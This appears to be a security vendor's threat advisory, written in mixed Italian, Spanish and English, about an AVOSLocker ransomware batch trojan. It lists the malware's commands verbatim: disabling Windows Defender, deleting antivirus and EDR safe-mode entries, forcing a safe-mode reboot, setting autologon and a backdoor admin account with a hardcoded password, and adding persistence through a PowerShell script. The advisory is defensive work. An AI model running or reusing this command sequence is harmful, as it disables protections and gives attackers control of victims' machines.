Trojan.BAT.AVOSLOCKER.YPCBB
Generic.Ransom.AVOSLocker.!s!.D.96A58DC3 (BITDEFENDER)
Windows
Tipo di minaccia informatica:
Trojan
Distruttivo?:
No
Crittografato?:
No
In the wild::
Sì
Panoramica e descrizione
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Dettagli tecnici
Detalles de entrada
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Instalación
Agrega los procesos siguientes:
- reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /f
- reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /t REG_SZ /d Service /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /f
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /t REG_SZ /d Service /f
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d Password123! /f
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
- bcdedit /set {default} safeboot network
- net use \192.168.111.73 /user:workgroup\test P@ssw0rd123
- shutdown /r /f /t 0
- Terminates and disables services
- net stop wuauserv
- sc config wuauserv start= disabled
- Delete AV related registry
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_agent /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_monitor /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Amps /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_notifer /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRkrn /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRSVC /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIRedline /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdvith /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdicap /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CmdAgent /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cyserver /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBEndpointAgent /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CylanceSvc /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SepMasterService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefense /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefenseWSC /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\epredline /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIntegrationService /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmCCSF /f
- reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmWSCSvc /f
- Add user and localgroup:
- net user Administrator Password123! /add
- net localgroup administrators Administrator /add
- net user Administrator Password123!
- net user Administrator /Active:Y
Otros detalles
Hace lo siguiente:
- It restarts the affected machine
Soluzioni
Step 1
Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.
Step 2
Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.BAT.AVOSLOCKER.YPCBB En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.
Sondaggio